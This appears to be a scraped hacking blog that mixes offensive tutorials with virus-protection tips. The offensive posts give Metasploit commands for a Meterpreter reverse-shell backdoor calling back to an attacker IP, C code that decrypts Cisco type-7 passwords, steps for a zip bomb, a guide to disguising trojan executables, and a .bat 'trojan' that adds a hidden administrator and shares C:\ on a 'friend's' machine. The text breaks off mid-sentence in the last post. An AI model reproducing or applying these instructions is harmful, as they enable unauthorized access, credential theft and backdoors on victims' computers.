Meterpreter as a Backdoor

Videos Referred

http://www.youtube.com/watch?v=BTfOzKACPsY

http://www.vimeo.com/1975301

After finding these videos on using meterpreter as a backdoor, I knew I had to make a post about it. I had been trying for a few days to get meterpreter to work as a backdoor, and I hadn't had much luck. This video tutorial was the answer to my prayers.

Now, I had to watch the video a few times because it was a tad bit confusing (unless you pay close attention). I'm hoping this little walk-through will make it clearer and easier to understand.

Step 1: Issue the command:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.146 LPORT=5555 X > metexe.exe


(TIP: You must first be in your Metasploit Framework folder)
 
(Warning: metexe.exe will be detected by some antiviruses - tested with Antivir)


Let me explain what this all does, first of all, "./msfpayload" is the application we are going to run. "windows/meterpreter/reverse_tcp" is the payload we want made into a windows binary. "LHOST=192.168.1.146" is a variable holding our (the attacker) IP address. "LPORT=5555" is a variable telling what port to connect back to. "X" (near the end of the command) instructs msfpayload to make it into a windows binary. Finally, "> metexe.exe" tells msfpayload where to save the file.

If you did everything correctly, you should now have a file named metexe.exe in the same directory that msfpayload is in (/pentest/exploits/framework3/, for example).
This is only half the battle, unfortunately. Sure this will connect back to us, but we don't have anything running on our attacker machine to accept the incoming connection. Let's fix this little problem.
Step 2: Start ./msfconsole

Step 3: Type these commands...



use exploit/multi/handler



set PAYLOAD windows/meterpreter/reverse_tcp


set LHOST 192.168.1.146


set LPORT 5555


exploit

(TIP: Be sure to change 192.168.1.146 to your IP address)


You will notice that this won't actually exploit anything, it will simply create a listener to accept the meterpreter connection. Try putting metexe.exe onto a windows machine (I don't think it works on Vista, yet) and launch it. If all goes smoothly, your listener should tell you that it just received a connection.


Good Luck . Any Queries Just Comment to the post ,will reply ASAP

Read More Add Your Opinion 0 Opinions

Create Your Zip Folder Of death

1) Make a.txt file

2) Open and type the null character (alt + 255)

3) Press ctrl + a then ctrl + v a couple times to make some null bytes



4) If u have a hexeditor make the hex 00 for about 50 kilobytes.

5) Now make several copies of a.txt and name accordinly

6) Open cmd.exe

7) Type copy /b *.txt b.txt

8) Now every copy is made into a super copy and repeat

9) Once you have a nice empty big text file like 1gb. Put it in a zip archive.Because of the simple construction of the file, 1gb of null bytes.....!

Read More Add Your Opinion 0 Opinions

Virus Code For Cracking Cisco Router Passwords ---

Cisco Router hacking is considered to be extra elite and really kewl. It is really a great exercise for your gray cells
, especially if the target system has Kerberos, a Firewall and some other Network Security software installed.
Anyway, almost always the main motive behind getting root on a system is to get the password file. Once you get the

Router password file, then you need to be able to decrypt the encrypted passwords stored by it. Well, in this section,
we will learn just that.
The following is a C program which demonstrates how to decrypt a CISCO password.


----------------------------------------------------------------------

#include
#include
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};
char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}
if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
Hacking Truths!!!--What they Don't teach in Manuals!!! By Ankit Fadia
val += enc_pw[i] - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, "Usage: %s -p \n", pname);
fprintf(stdout, " %s \n", pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
Hacking Truths!!!--What they Don't teach in Manuals!!! By Ankit Fadia
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;
default:
fprintf(stderr, "%s: unknow option.", pname);
}
return(0);
}
if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;
if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;
if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!pw_pos) {
fprintf(stdout, "%s\n", line);

continue;
}
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);
fprintf(out, "%s\n", passwd);
}
}
}



---------------------------------------------------------------------------------

Read More Add Your Opinion 0 Opinions

Autorun.inf File missing Or corrupt : How to recreate Autorun.inf file

Allowing autorun

Windows provide users with simple utility that runs automatically applications found on a CD, when inserted in the CD drive.
To make use of this option, you must verify that it is enabled under your system configuration. If it is the case, upon inserting a CD or DVD,Windows will try to open an application.This procedure is due to the "Autorun.inf" (primary instruction file associated with the Autorun utility) found at the root directory of the CD.

Creating an Autorun.inf file

First create a new (text-only)file a name it as autorun.inf.once created open it with your favourite text editor(notepad)and type in the following syntax:

[autorun]


parameter=value



Basically it should like that:

[autorun]


open=myapplication.exe


Variations

If the selected application is found in a sub folder, the path must be specified:

[autorun]


open=folderA\folderA1\myapplication.exe



If an argument is to be passed for the application to be auto played:

[autorun]


open=myapplication /argument


Customizing the icon

If you want to change the default icon add the following syntax:

icon=icon.ext



Example:

[autorun]


open=myapplication.exe


icon=myicon.jpg




The icon file should also reside in the root directory of the CD.


Customizing the icon text

Simply add the following command line:

label=My application


Customizing the icon menu

To edit the menu that appears when you right-click on the icon simply add the following syntax:

shell=start shell\start\command=path/myapplication.exe


shell\start=Run Application


shell\read\command=notepad++.exe files/readme.txt


shell\read=open readme.txt



Keep in mind that the following parameters shoul be defined: shell\*\command and shell\* ,as they are the keywords, firstly for defining the application to be executed and secondly, for the text displayed in the menu.

Read More Add Your Opinion 0 Opinions

9 Steps to Protect your MS Windows System from Viruses

Nowadays as the Internet and other networks are greatly developed computer viruses are distributed rapidly and intensively. Everyday several new viruses capable to damage considerably your computer system arise. Anti-virus specialists work hardly to make updates their software against new viruses as soon as possible. The viruses can get inside computer in different ways. That is why there is no simple method to protect system. Only series of measures can give you reliable protection from the infection. Below are 9 steps to protect MS Windows based PC system from viruses. 1. Make regular backups. It should be said that there is no absolutely safe way of protection. Virus creators regularly find holes in new computer products to use them for infection of computer systems. Some dangerous viruses can considerably damage data files or even erase entire file system. Make regular backups of your data files to separate file storage device. It can be separate hard drive, flash card, compact disc or another file storage device which you choose. To ease the procedure you can use some automatic backup software. And be ready if the system will die because of virus infection.
2. Be ready to reinstall your system if it dies because of viruses. Get distributives of your operation system and distributives of software which you use and keep them together, for instance, on a set of CDs not far away from you. In this case if virus infection will cause unrecoverable system failure you can rapidly reinstall your working medium.
3. Protect your network connection with Firewall. Firewall is a software which blocks suspicious potentially dangerous connections to preventing viruses from network to penetrate into your system. Windows XP system has quit simple but reliable built-in firewall. You can enable it as follows. 1) in Control Panel, double-click Networking and Internet Connections, and then click Network Connections. 2) Right-click the connection on which you would like to enable firewall, and then click Properties. 3) On the Advanced tab, check the option to Protect my computer and network.
If you need more flexible control of connections with network you can get and install more advanced firewall software like Norton Personal Firewall or Outpost Firewall. If you use this software you have ability to permit or to block particular connections and to monitor network activity.
4. Use antivirus software. Install antivirus software which will scan your system searching and erasing viruses on a regular basis. Leaders in antivirus software products for Windows systems are Norton Antivirus, McAfee, Kaspersky Anti-Virus and PC-cilin.
5. Regularly update operating system. Windows XP has built-in automatic update service. It regularly contacts Microsoft server to find updates and notifies you if updates are ready to be installed. Updates are important because hackers regularly find holes in operating system which are often used by virus creators.
6. Don't install and don't run suspicious software. Check new programs which you are going to install with anti-virus software. Don't download software from suspicious websites. To download software always seek website of software creator or official distributor. Do not open applications received by email from unknown persons.
7. Limit access to your computer. Protect enter to system with password.
8. If you use Internet Explorer, consider moving to another browser. As IE is the most distributed browser today virus creators actively use defects in its security system to infect computers. Infection may arise if you will visit webpage which contains invisible harmful code. You are more safe if you use less known browser only because virus creators do not pay much attention to it. Major IE competitors Firefox and Opera browsers provide now the same comfortable interface and range of services for working on the Web.
9. Use spam protection. Viruses are often distributed via email. Switch on spam filters in your email box to block spam receiving. If you need assistance with using of the filters you can ask your email service provider.

Read More Add Your Opinion 0 Opinions

List of ports commonly used by Trojans

Trojan horses commonly open a port on the infected machine and wait for a connection to open on that port, so that hackers will be able to gain total control over the computer. Here is a (non exhaustive) list of the most common ports used by Trojan horses (source: Site de Rico):

port	Trojan
21	Back construction, Blade runner, Doly, Fore, FTP trojan, Invisible FTP, Larva, WebEx, WinCrash
23	TTS (Tiny Telnet Server)
25	Ajan, Antigen, Email Password Sender, Happy99, Kuang 2, ProMail trojan, Shtrilitz, Stealth, Tapiras, Terminator, WinPC, WinSpy
31	Agent 31, Hackers Paradise, Masters Paradise
41	Deep Throat
59	DMSetup
79	FireHotcker
80	Executor, RingZero
99	Hidden port
110	ProMail trojan
113	Kazimas
119	Happy 99
121	JammerKillah
421	TCP Wrappers
456	Hackers Paradise
531	Rasmin
555	Ini-Killer, NetAdmin, Phase Zero, Stealth Spy
666	Attack FTP, Back Construction, Cain & Abel, Satanz Backdoor, ServeU, Shadow Phyre
911	Dark Shadow
999	Deep Throat, WinSatan
1002	Silencer, WebEx
1010 to 1015	Doly trojan
1024	NetSpy
1042	Bla
1045	Rasmin
1090	Xtreme
1170	Psyber Stream Server, Streaming Audio Trojan, voice
1234	Ultor trojan
port 1234	Ultors Trojan
port 1243	BackDoor-G, SubSeven, SubSeven Apocalypse
port 1245	VooDoo Doll
port 1269	Mavericks Matrix
port 1349 (UDP)	BO DLL
port 1492	FTP99CMP
port 1509	Psyber Streaming Server
port 1600	Shivka-Burka
port 1807	SpySender
port 1981	Shockrave
port 1999	BackDoor
port 1999	TransScout
port 2000	TransScout
port 2001	TransScout
port 2001	Trojan Cow
port 2002	TransScout
port 2003	TransScout
port 2004	TransScout
port 2005	TransScout
port 2023	Ripper
port 2115	Bugs
port 2140	Deep Throat, The Invasor
port 2155	Illusion Mailer
port 2283	HVL Rat5
port 2565	Striker
port 2583	WinCrash
port 2600	Digital RootBeer
port 2801	Phineas Phucker
port 2989 (UDP)	RAT
port 3024	WinCrash
port 3128	RingZero
port 3129	Masters Paradise
port 3150	Deep Throat, The Invasor
port 3459	Eclipse 2000
port 3700	portal of Doom
port 3791	Eclypse
port 3801 (UDP)	Eclypse
port 4092	WinCrash
port 4321	BoBo
port 4567	File Nail
port 4590	ICQTrojan
port 5000	Bubbel, Back Door Setup, Sockets de Troie
port 5001	Back Door Setup, Sockets de Troie
port 5011	One of the Last Trojans (OOTLT)
port 5031	NetMetro
port 5321	FireHotcker
port 5400	Blade Runner, Back Construction
port 5401	Blade Runner, Back Construction
port 5402	Blade Runner, Back Construction
port 5550	Xtcp
port 5512	Illusion Mailer
port 5555	ServeMe
port 5556	BO Facil
port 5557	BO Facil
port 5569	Robo-Hack
port 5742	WinCrash
port 6400	The Thing
port 6669	Vampyre
port 6670	Deep Throat
port 6771	Deep Throat
port 6776	BackDoor-G, SubSeven
port 6912	Shit Heep (not port 69123!)
port 6939	Indoctrination
port 6969	GateCrasher, Priority, IRC 3
port 6970	GateCrasher
port 7000	Remote Grab, Kazimas
port 7300	NetMonitor
port 7301	NetMonitor
port 7306	NetMonitor
port 7307	NetMonitor
port 7308	NetMonitor
port 7789	Back Door Setup, ICKiller
port 8080	RingZero
port 9400	InCommand
port 9872	portal of Doom
port 9873	portal of Doom
port 9874	portal of Doom
port 9875	portal of Doom
port 9876	Cyber Attacker
port 9878	TransScout
port 9989	iNi-Killer
port 10067 (UDP)	portal of Doom
port 10101	BrainSpy
port 10167 (UDP)	portal of Doom
port 10520	Acid Shivers
port 10607	Coma
port 11000	Senna Spy
port 11223	Progenic trojan
port 12076	Gjamer
port 12223	Hack´99 KeyLogger
port 12345	GabanBus, NetBus, Pie Bill Gates, X-bill
port 12346	GabanBus, NetBus, X-bill
port 12361	Whack-a-mole
port 12362	Whack-a-mole
port 12631	WhackJob
port 13000	Senna Spy
port 16969	Priority
port 17300	Kuang2 The Virus
port 20000	Millennium
port 20001	Millennium
port 20034	NetBus 2 Pro
port 20203	Logged
port 21544	GirlFriend
port 22222	Prosiak
port 23456	Evil FTP, Ugly FTP, Whack Job
port 23476	Donald Dick
port 23477	Donald Dick
port 26274 (UDP)	Delta Source
port 27374	SubSeven 2.0
port 29891 (UDP)	The Unexplained
port 30029	AOL trojan
port 30100	NetSphere
port 30101	NetSphere
port 30102	NetSphere
port 30303	Sockets de Troie
port 30999	Kuang2
port 31336	Bo Whack
port 31337	Baron Night, BO client, BO2, Bo Facil
port 31337 (UDP)	BackFire, Back Orifice, DeepBO
port 31338	NetSpy DK
port 31338 (UDP)	Back Orifice, DeepBO
port 31339	NetSpy DK
port 31666	Bo Whack
port 31785	Hack´a´Tack
port 31787	Hack´a´Tack
port 31788	Hack´a´Tack
port 31789 (UDP)	Hack´a´Tack
port 31791 (UDP)	Hack´a´Tack
port 31792	Hack´a´Tack
port 33333	Prosiak
port 33911	Spirit 2001a
port 34324	BigGluck, TN
port 40412	The Spy
port 40421	Agent 40421, Masters Paradise
port 40422	Masters Paradise
port 40423	Masters Paradise
port 40426	Masters Paradise
port 47262 (UDP)	Delta Source
port 50505	Sockets de Troie
port 50766	Fore, Schwindler
port 53001	Remote Windows Shutdown
port 54320	Back Orifice 2000
port 54321	School Bus
port 54321 (UDP)	Back Orifice 2000
port 60000	Deep Throat
port 61466	Telecommando
port 65000	Devil

Read More Add Your Opinion 0 Opinions

Introduction to Trojan Horses

Trojan horses

A Trojan horse is a computer program which carries out malicious operations without the user's knowledge. The name "Trojan horse" comes from a legend told in the Iliad (by the writer Homer) about the siege of the city of Troy by the Greeks.

Legend has it that the Greeks, unable to penetrate the city's defences, got the idea to give up the siege and instead give the city a giant wooden horse as a gift offering.

The Trojans (the people of the city of Troy) accepted this seemingly harmless gift and brought it within the city walls. However, the horse was filled with soldiers, who came out at nightfall, while the town slept, to open the city gates so that the rest of the army could enter.

Thus, a Trojan horse (in the world of computing) is a hidden program which secretly runs commands, and usually opens up access to the computer running it by opening a backdoor. For this reason, it is sometimes called a Trojan by analogy to the citizens of Troy.

Like a virus, a Trojan horse is a piece of harmful code placed within a healthy program (like a false file-listing command, which destroys files instead of displaying the list).

A Trojan horse may, for example:

• steal passwords;
• copy sensitive date;
• carry out any other harmful operations;
• etc.

Worse, such a program can create an intentional security breach within your network, so as give outside users access to protected areas on the network.

The most common Trojan horses open machine ports, allowing their designer to gain entry to your computer over the network by opening a backdoor or backorifice.

A Trojan horse is not necessarily a virus, as its goal is not to reproduce itself to infect other machines. On the other hand, some viruses may also be Trojan horses; that is, they might spread like viruses and open ports on infected machines!

Detecting such a program is difficult because you must be able to determine whether an action is being carried out by the Trojan horse or by the user.

Symptoms of infection

Infection by a Trojan horse usually comes after opening a contaminated file containing the Trojan horse (see the article on protecting yourself from worms) and is indicated by the following symptoms:

• Abnormal activity by the modem, network adapter or hard drive: data is being loaded without any activity from the user;
• Strange reactions from the mouse;
• Programs opening unexpectedly;
• Repeated crashes.

Principle of a Trojan horse

As a Trojan horse is usually (and increasingly) intended to open a port on your machine so that a hacker can gain control of it (such as by stealing personal data stored on the hard drive), the hacker's goal is to first infect your machine by making you open an infected file containing the Trojan and then to access your machine through the opened port.

However, to be able to infiltrate your machine, the hacker normally has to know its IP address. So:

• Either you have a fixed IP address (as with businesses, or with individuals with a cable or similar connection, etc.) in which case your IP address can easily be discovered;
• or your IP address is dynamic (reassigned each time you connect), as with modem connections; in which case the hacker must scan IP addresses at random in order to detect those which correspond to infected machines.

Protect yourself from Trojans

Installing a firewall (a program which filters data entering and leaving your machine) is enough to protect you from this kind of intrusion. A firewall monitors both data leaving your machine (normally initiated by the programs you are using) and data entering it. However, the firewall may detect unknown outside connections even if a hacker is not specifically targeting you.. They may be tests carried out by your Internet service provider, or a hacker randomly scanning a range of IP addresses.

For Windows systems, there are two free high-performance firewalls:

• ZoneAlarm
• Tiny Personal Firewall

In case of infection

If a program whose origins you are unsure of attempts to open a connection, the firewall will ask you to confirm it before initiating the connection. It is important to not authorise connections for a program you don't recognise, because it might very well be a Trojan horse.

If this reoccurs, it may be helpful to check that your computer isn't affected by a Trojan, by using a program that detects and deletes them (called an anti-Trojan).
One example is The Cleaner, which can be downloaded from http://www.moosoft.com.

Read More Add Your Opinion 0 Opinions

Firewalls: What am I seeing? is an excellent must-read FAQ on what kind of probes you may be seeing on different ports.

Trojan Port Lists

• Trojan list database with many different sorting options
• Jerry Latham's Trojan Ports List
• Denial of Service Help: Trojan Ports to Block hyperlinked port list
• ONCTek List of possible Trojan/Backdoor port activity
• Commonly Probed Ports
• Threats to your Security on the Internet in particular the Current list of Trojans provides an excellent description of various trojan programs
• Andrew Daviel's Internet ports, services and trojans has lots of good links
• advICE:Exploits:Ports a nice hyperlinked port list
• PestPatrol - About Ports and Trojans - A Port List

Additional Resources

• Trojan Horses: Back Orifice & Netbus
• Anti-trojan.org

Although not specific to trojan ports, you may find the port search resources from my TCP/IP Ports page to be useful.

Read More Add Your Opinion 0 Opinions

Protect Your Orkut Account From Viruses And Spams, and Spywares

ll we know orkut.com is a open nature social networking site, and due to this open nature orkut users’ accounts can become compromised through phishing schemes, viruses, and spyware. Now if user wants to protect there accounts from all such attacts then he/she should take care of certain important points while surfing on orkut. Set all below 5 Points into yours minds before Surfing Orkut because this will help you in protecting yours orkut profiles

1. Don’t share: Keep your username, password and personal information secret and change your password regularly.
2. Don’t script: Never paste a URL or script into your browser while logged into orkut.com, no matter what it claims to do. Don’t click on links in emails that claim to be from orkut or Gmail. Scan your computer regularly for viruses, spyware, and adware.
3. Don’t spread: Never enter your Google Account login and password on sites other than orkut.com and other Google properties. Never check remember me when you’re using a shared computer.
4. Avoid posting sensitive personal data, such as email addresses or pictures, in public places.
5. Don’t forget to click the Logout link at the top of the page when you’re done using orkut.

You can also protect yours orkut orkut by using orkut privacy feature, by restricting or blocking your album, scrapbook, videos, testimonials, and feeds.If you are surfing orkut from public computers then i will recomment you to read this post
Always remember never to share your password with anyone, including sites that claim to send friendly scraps to your orkut.com friends. If you’ve shared your password with anyone, orkut highly recommend you change it as soon as possible.
If someone is using your account without your permission, please report a hijacked account.

Please be assured that orkut.com does not use your email address for any purpose other than sending out orkut invitations and notices. We find spam annoying and are committed to keeping your email address safe.
Additionally, we’ll never send you spam emails

asking you to download anything or to send us personal information, such as your password or bank account information. orkut.com is a free service, and it will remain safe with your help.

Read More Add Your Opinion 0 Opinions

Task Manager, Regedit and Folder Options Disabled by Virus ??

All must be aware of this problem caused by a virus called “Brontok”. Sometimes after removing the virus completely from our system, you’ll still face some problems such as you can no longer bring up Windows Task Manager from CTRL+ALT+DEL. You get the error message saying “Task Manager has been disabled by your administrator....









If You think that it’s easy to fix this problem by going to Registry Editor, you can’t! You'll get a error message “Registry editing has been disabled by your administrator”.









Folder Options and even Show Hidden Files & Folder is disabled! How frustrating! Don’t worry, here’s how to restore your Windows Task Manager, Registry Editor, Folder Options and Show hidden files & folders.

Brontok virus will make some changes to the system restrictions in order to hide itself from easy detection and also from easy cleaning.

Here’s a free tool called Remove Restrictions Tool (RRT) which is able to re-enables all what the virus had previously disabled, and gives you back the control over your own computer.


Remove Restrictions Tool is able to re-enable:
- Registry Tools (regedit)
- Ctrl+Alt+Del
- Folder Options
- Show Hidden Files

Small and easy to use. Make sure you boot in to Safe Mode to use Remove Restrictions Tool (RRT).

http://rapidshare.com/files/79783905/RRT.exe

Read More Add Your Opinion 0 Opinions

Make Your Own Customized Exe File for Your Trojan Using CreateExt

CreateExt is a tool that can be used to create a customised executable file extension on a target system discretely. CreateExt is also 'proof of concept' tool, and exists only to demonstrate a weakness that exists under Microsoft Windows.

• Specify a custom file extension in the 'Extension' edit box.
• Specify a name for the file extension in the 'File Type' edit box. This should be something very brief, preferably a single word, and obscure. It does not really matter what this word is, as long as it does NOT clash with any others in the registry. Users will NOT see this value unless they lookin the registry for it.
• Specify a content type for this file extension in the 'Content Type' edit box. Users MAY see this, so make sure it is convincing.
  
  Please Note: It does not really matter if it is the same as another file type, but it does mean Web Browsers may try and interpret a file with this new extension in the same way as other files with the same content type.
• Specify a description in the 'Description' edit box. The user DOES see this when Windows Explorer displays files in detailed mode, so make it convincing.
• Set the default icon for the file extension in the 'Default Icon' edit box. It is best to experiment with this feature on your own system first to make sure you have a valid icon. Here are some tips:
  
  
  • %1 means the default icon of the file. If the file with this extension is an executable, the default icon will be the executable's default icon.
  • url.dll,0 means use the 1st icon (zero indexed) in url.dll, which is assumed to be in the Windows/System path. It is usually in the System Folder.
  • shell32.dll,64 means use the 65th icon (zero indexed) in shell32.dll, which is assumed to be in the System path. It is usually in the System Folder.
  • c:\progra~1\intern~1\iexplore.exe,8 means use the 9th icon (zero indexed) in iexplore.exe, which is assumed to be in the 'c:\Program Files\Internet Explorer\' folder. The file path does NOT have to be in the DOS 8.3 filename format.
  
  Please Note: The icons and their order in shell32.dll varies on different versions of Windows. To ensure you have a valid icon, make sure that the icon exists in the position you have selected within shell32.dll for the target version of Windows. For example, the text document icon is position 64 for Win98's shell32.dll, but position 70 for Win2K's shell32.dll.
  
  
  
  
  
  
  
  
  
• Tick 'Always hide file extension' if required.
• Tick 'Refresh icon cache after creating extension' if required. See the FAQ for more information on why you should use this.
• Tick 'Allow auto-execution with no prompt after download with IE' if required. If you create a web page that automatically tries to download a file from a server using javascript, then this flag should allow the file to be downloaded and executed automatically in Internet Explorer without a prompt box. The javascript does not need to exploit Internet Explorer, just invoke a download. The flag should take care of everything else.
  
  Please Note: This may not work on all versions of Internet Explorer. Patched versions may not be vulnerable. This option has no effect on other Web Browsers.
• Finally, click on the 'Generate file...' button (or use 'F9' or on the menu, 'File', 'Generate file...'). A save dialog will popup, so just select your target destination and click on 'Save'.
• If you wish to pack your stub file with an executable packer, you may do so after the file generation.
  
  
  
  
  
  
  
  
  
• There are a few presets at the bottom of the CreateExt configuration window. These are suggested templates for you to use. Feel free to use them. Those presets are also accessible via the 'Preset', 'Other' menu, and the short-cut keys 'Ctrl+F1' to 'Ctrl+F6'.

Any Suggestions or Query, feel free to Comment, bt Pls Dnt Spam.

Read More Add Your Opinion 0 Opinions

Get Rid Of Thumbs.db

When u works on ur pc, U quite Often Sees that there is file "Thumbs.db" almost in every folder u creates and this file annoys us a lot.
Evn I hate This File.
So What Is it and How To avoid it.
Actually, Thumbs.db is a system file generated automatically by Windows XP when you view the contents of a folder in “Thumbnail” or “Filmstrip” view.

To stop your computer from generating and regenerating future Thumbs.db files, do the following:

If you’re on the desktop…
Click Start
Double-click Control Panel
Double-click Folder Options

Or, if you have My Computer open and are browsing any folder in your system…
Click Tools (next to File, Edit, View at the top of the screen)
Click Folder Options

After performing either of those two operations, the “Folder Options” window will open up.
Click on the View tab
Check off the circle next to Do not cache thumbnails
Click the Ok button

Once you click the Ok button, your computer will terminate to generate Thumbs.db files. If you delete any of the existing Thumbs.db files, they will not return.

Be forewarned though, if you browse a folder that contains a large quantity of image files (or extremely large image files), it will take a long time for that folder to load even if you have previously browsed it because the cache of thumbnails views "thumbs.db" is nt there...

Read More Add Your Opinion 0 Opinions

Remove Isass.exe Virus | Isass.exe removal

Most people when they get this virus they may re-format their Computer due to frustration that it causes.
This virus allows you to have a few minutes on your Computer before it shuts it down.
To resolve this problem very quickly and easily, all you have to do is go to your clock and change the time back to a previous day.
This will extend the time you have with your computer depending on how long you change the time back.
With this extended time before your Computer shuts down it allows you to update your Anti-Virus software or go purchase a program.
If you are short of cash there is a free Anti-Virus program provided at http://www.grisoft.com/. The program is called AVG Anti-Virus.
Once you do all of the above its smooth sailing with your Computer and no more annoying shut downs.

Wen i go fr this trick, my Pc was reformated Bt after that I Came To Know About It.
Hopes, It work Well wid u Guys...
Best f Luck...

Read More Add Your Opinion 0 Opinions

Fake Virus Script

A fake virus script that scares anyone visiting your forum or your site but its not mine i found it on http://javascriptkit.com/ ill just put a link to the code

What does it do?:it uploads fake viruses into your Hard Drive(But not to worry Javascript isn't that powerful isn't that right? LOL

Link to Fake Virus code
http://javascriptkit.com/script/cut104.shtml

Read More Add Your Opinion 0 Opinions

How does Worms work ?

People use e-mail more than any other application on the internet

, but it can be a frustrating experience, with spam and especially e-mail worms filling our inboxes.

Worms can spread rapidly over computer networks, the traffic they create bringing those networks to a crawl. And worms can cause other damage, such as allowing unauthorized access to a computer network, or deleting or copying files.

What’s a worm?

A worm is a computer virus designed to copy itself, usually in large numbers, by using e-mail or other form of software to spread itself over an internal network or through the internet.

How do they spread?

When you receive a worm over e-mail, it will be in the form of an attachment, represented in most e-mail programs as a paper clip. The attachment could claim to be anything from a Microsoft Word document to a picture of tennis star Anna Kournikova (such a worm spread quickly in February 2001).

If you click on the attachment to open it, you’ll activate the worm, but in some versions of Microsoft Outlook, you don’t even have to click on the attachment to activate it if you have the program preview pane activated. Microsoft has released security patches that correct this problem, but not everyone keeps their computer up to date with the latest patches.

After it’s activated, the worm will go searching for a new list of e-mail addresses to send itself to. It will go through files on your computer, such as your e-mail program’s address book and web pages you’ve recently looked at, to find them.

Once it has its list it will send e-mails to all the addresses it found, including a copy of the worm as an attachment, and the cycle starts again. Some worms will use your e-mail program to spread themselves through e-mail, but many worms include a mail server within their code, so your e-mail program doesn’t even have to be open for the worm to spread.

Other worms can use multiple methods of spreading. The MyDoom worm, which started spreading in January 2004, attempted to copy infected files into the folder used by Kazaa, a file-sharing program. The Nimda worm, from September 2001, was a hybrid that had four different ways of spreading.

What do they do?

Most of the damage that worms do is the result of the traffic they create when they’re spreading. They clog e-mail servers and can bring other internet applications to a crawl.

But worms will also do other damage to computer systems if they aren’t cleaned up right away. The damage they do, known as the payload, varies from one worm to the next.

The MyDoom worm was typical of recent worms. It opened a back door into the infected computer network that could allow unauthorized access to the system. It was also programmed to launch an attack against a specific website by sending thousands of requests to the site in an attempt to overwhelm it.

The target of the original version of MyDoom attack was the website of SCO Group Inc., a company that threatened to sue users of the Linux operating system, claiming that its authors used portions of SCO’s proprietary code. A second version of MyDoom targeted the website of software giant Microsoft.

The SirCam worm, which spread during the summer of 2001, disguised itself by copying its code into a Microsoft Word or Excel document and using it as the attachment. That meant that potentially private or sensitive documents were being sent over the internet.

How do I get rid of them?

The best way to avoid the effects of worms is to be careful when reading e-mail. If you use Microsoft Outlook, get the most recent security updates from the Microsoft website and turn off the preview pane, just to be safe.

Never open attachments you aren’t expecting to receive, even if they appear to be coming from a friend. Be especially cautious with attachments that end with .bat, .cmd, .exe, .pif, .scr, .vbs or .zip, or that have double endings. (The file attachment that spread the Anna Kournikova worm was AnnaKournikova.jpg.vbs.)

Also, install anti-virus software and keep it up to date with downloads from the software maker’s website. The updates are usually automatic.

Users also need to be wary of e-mails claiming to have cures for e-mail worms and viruses. Many of them are hoaxes that instruct you to delete important system files, and some carry worms and viruses themselves.

As well, some users should consider using a computer with an operating system other than Windows, the target of most e-mail worms. Most of the worms don’t affect computers that run Macintosh or Linux operating systems.

Read More Add Your Opinion 0 Opinions

Making your own trojan in a .bat file

Open a dos prompt we will only need a dos prompt , and windows xp

…

-Basics-
Opening a dos prompt -> Go to start and then execute and write
cmd and press ok

Now insert this command: net
And you will get something like this

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send

We will select some of those commands and put them on a .bat file.

What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:

dir
pause

And now save this as test.bat and execute it.
Funny aint it ?

———————- Starting ——————-
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it’s nice
yo know wich version of windows xp you are going to try share.

Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

———————–: Client :—————-
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
